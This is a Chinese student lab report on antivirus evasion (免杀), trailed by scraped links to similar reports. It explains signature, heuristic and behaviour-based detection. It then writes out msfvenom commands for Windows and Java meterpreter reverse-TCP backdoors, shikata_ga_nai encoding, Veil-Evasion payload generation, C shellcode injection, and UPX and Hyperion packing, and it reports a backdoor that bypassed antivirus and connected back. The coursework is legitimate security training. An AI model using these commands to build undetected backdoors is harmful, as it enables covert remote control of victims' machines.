一、基础问题回答

1.杀软是如何检测出恶意代码的?

(1)基于特征码的检测

特征码是能识别一个程序是一个病毒的一段不大于64字节的特征串。如果一个可执行文件包含这样的特征码则被杀毒软件检测为是恶意代码。

(2)启发式恶意软件检测

一般在缺乏精确判定依据时,根据些片面特征去推断是否为恶意软件,比如如果一个软件在干通常是恶意软件干的事,看起来像个恶意软件,那就把它当成一个恶意软件。

(3)基于行为的恶意软件检测

基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。

2.免杀是做什么?

免杀,即反杀毒技术,是一种能使病毒木马避免被杀毒软件查杀的技术。

3.免杀的基本方法有哪些?

(1)变形特征码:

  • 只有EXE:
  • 加壳:压缩壳 加密壳

  • 有shellcode:
    • encode编码、payload重新编译
  • 有源代码:
  • 翻译成其他语言

(2)改变明目张胆的行为:

改变通讯方式

  • 尽量使用反弹式连接
  • 使用隧道技术
  • 加密通讯数据
    改变操作模式
  • 基于内存操作
  • 减少对系统的修改
  • 加入混淆作用的正常功能代码

(3)非常规免杀方法:

使用社工类攻击、纯手工打造一个恶意软件等等。

二、具体实验内容

1. 正确使用msf编码器

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.198.128 LPORT= -f exe > ZHYY_backdoor.exe

和第二次实验一样用msf编码器生成了一个相对比较简单的后门,将这个后门拉到virscan上检测一番:

59%的杀软检测出来有问题。

接下来尝试着编译多次:

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i  -b ‘\x00’ LHOST=192.168.192.128 LPORT=  -f exe > ZHYY_backdoor7.exe

拉到virscan网站上去检测,发现报毒率升高,WTF

2. msf编码器生成jar文件

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.198.198 LPORT= x> 66zhyy.jar

整出来一个这个东西:

拉到virscan上扫描:

报毒率明显较低,C语言感觉还是不靠谱,java和php感觉靠谱多了

2. veil-evasion的安装和使用

这是整个实验中最狗逼的内容没有之一,没有任何技巧性可言,完全取决于客观条件:网速,电脑性能。对于装软件来说我的这台辣鸡电脑从来没有让我欣慰过,同样这次装这个veil甚至一度让我装到自闭,不过好在最后问题都解决了,在老师和同学的帮助下。好了先说一下遇到的问题:

(1)首先是这个dpkg:

很头疼,上网查了好多,然并卵,最后run一下后面那段'sudo dpkg....'就OK了

(2)然后是葡萄酒

出现对话框就直接卡在这个界面不动了,根据提示你要装一个32位的葡萄酒

(3)安装葡萄酒出现问题:

这次学聪明了,run一下就行了

(3)葡萄酒又丢失

在最后的关头,葡萄酒又找不到了,跟上述问题一样run run run

最后终于装好了这个玩意:

如果说有谁装的比我还慢那一定是我的舍友,他到现在也没装好然后自闭地在寝室里打2K

不得不说这个东西的作用还挺大的,生成对的exe文件比接下来注入的shellcode靠谱地多

然后list一下选一种反弹链接的语言:

比如这个后面带rev_tcp.py的

use 7 //选择c语言模板

set LHOST 192.168.198.128

set LPORT 4316

generate //生成

//输入名字78747

然后去 var/lib/veil/output/compiled/这个文件里去找这个可执行文件

然后刚刚拉到windows下就被电脑管家咔擦掉了

还是在kali上用virscan检测一下吧:

报毒率明显减少了许多。

3. 使用shellcode注入

首先利用 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.192.128 LPORT=4310 -f c 生成shellcode

输入 vim 4310shellcode.c 把生成的shellcode粘贴过来,再用c语言补全整个程序

保存并退出编辑器后,利用 i686-w64-mingw32-g++ shellcode1.c -o 4310shellcode.exe 编译.c文件,生成exe文件

然后被又被电脑管家给咔嚓掉了

4. 使用各种组合技术实现免杀

我是给第三项注入的shellcode程序做的,这个实验遇到了一些问题,首先就是我生成的那个4310shellcode.exe在加入电脑管家的白名单之后无法实现反弹链接,所以我重新修改了一下生成的c语言文件,给他加了头文件:

然后用upx压缩壳,输入命令 upx dllm2.exe -o 4310dllm.upxed.exe

将这个文件拉到windows下被电脑管家发现,不过加入白名单之后可以实现反弹链接了。

在此基础上给他加一个hyperion壳

cd /usr/share/windows-binaries/hyperion/
wine hyperion.exe -v 4310dllm.upxed.exe 4310dllm.upxed.Hyperion.exe

然而还是被查杀了

三、成功例子

1. 后门和杀软共生

考虑到C语言生成的后门容易被查,所以这里我用了python语言编写后门,又考虑到半手工免杀手段容易被识破,所以送veil生成后门。

然后发现好像杀软没有管他。。。

给他加一个压缩壳,立马被杀了,可能加壳这种东西对于电脑管家来说太容易被发现了

然后再给他加一个hyperion壳,电脑管家就没有发现异常

好像除了我电脑速度慢,也没发现其他的什么问题,然后尝试回连,回连成功。

2. 用另一台电脑实测在杀软环境下实现回连,并标明杀软版本。

将网络模式由NAT设置为桥接,然后ping一下另一台主机,即可实现回连。我ping不通舍友的,我舍友能ping通我的,我就用我舍友把我电脑给攻陷了,当然后门是我自己做的....

四、实验总结

通过本次实验,掌握了后门更多的生成方法以及如何通过加壳实现免杀(虽然没有实现)以及杀软是通过什么来进行杀毒的,体会道了veil的强大之处,同时这次实验让我充分认识到了杀软的局限性以及杀软在面对一些精心制作的后门时几乎是毫无用处的,最关键的是制作这样一个免杀后门的技术门槛和成本是非常低的。所以开启杀软无法绝对防御电脑种的恶意代码。

这次实验相比于前几次来说完成地相对独立了,遇到了很多很多的问题,也是自己一个人慢慢解决了百分之九十九不过真正能力的提升还是得靠自己一点一点来努力,只有把自己逼入绝境才能有所突破,用了很长时间呢,不过这些问题基本上都已经搞明白了,搞不明白没关系,还有七次实验能让自己多敲敲代码,努力吧,希望下一次会更好,希望下一次自己能做的更加独立。

Exp3 免杀原理和实践的更多相关文章

  1. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  2. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  3. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  4. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  5. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  6. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

  7. 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  8. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  9. 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...

  10. 2018-2019-2 网络对抗技术 20165336 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165336 Exp3 免杀原理与实践 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 根据计算机病毒课程知道了每个病毒都有其对应的特征码,杀软是根据这 ...

随机推荐

  1. Sublime Text 3(3207)安装

    Sublime Text 3207 下载 官网地址: Sublime Text 下载需要的类型 安装插件 安装插件管理器: 打开Sublime,点击Tools => Install Packag ...

  2. 转载 * jQuery实现动态分割div—通过拖动分隔栏实现上下、左右动态改变左右、上下两个相邻div的大小

    由jQuery实现上下.左右动态改变左右.上下两个div的大小,需要自己引入jquery1.8.0.min.js包 可用于页面布局. //============================ind ...

  3. C++编程题#1:含k个3的数

    描述 输入二个正整数m 和 k,其中1 < m < 100000,1 < k <5 ,判断m 能否被19整除,且恰好含有k个3,如果满足条件,则输出YES,否则,输出NO. 例 ...

  4. Linux-1-用户管理

    目录: 用户账号的添加.删除与修改 用户口令的管理 用户组的管理 总结用户与用户组常用命令 ***用户账号的添加.删除与修改*** 添加用户:useradd  选项  用户名 选项: -c comme ...

  5. 路径定义前+r

    定义文件路径时前面加个r 例如 firstfolder = r"C:\Users\1261\Desktop\" 不对其中的符号进行转义

  6. python常量 变量 数据类型 注释 交互 if语句

    1.认识python python的创始人吉多·范罗苏姆(Guido van Rossum )龟叔在89年圣诞节开始开发python python属于解释型语言,强类型定义语言. 编译型/解释型:编译 ...

  7. 在vue.js 中使用animate.css库

    main.js文件引入后,在vue文件里直接添加class   animated bounceInUp

  8. HTML学习笔记01(标签)

    <html> <head> <meta charset = "utf-8"> <!--字符集编码设置-->   <title& ...

  9. input date 赋值的坑及改变时如何获取 input date的值

  10. ms16-032漏洞复现过程

    这章节写的是ms16-032漏洞,这个漏洞是16年发布的,版本对象是03.08和12.文章即自己的笔记嘛,既然学了就写下来.在写完这个漏洞后明天就该认真刷题针对16号的比赛了.Over,让我们开始吧! ...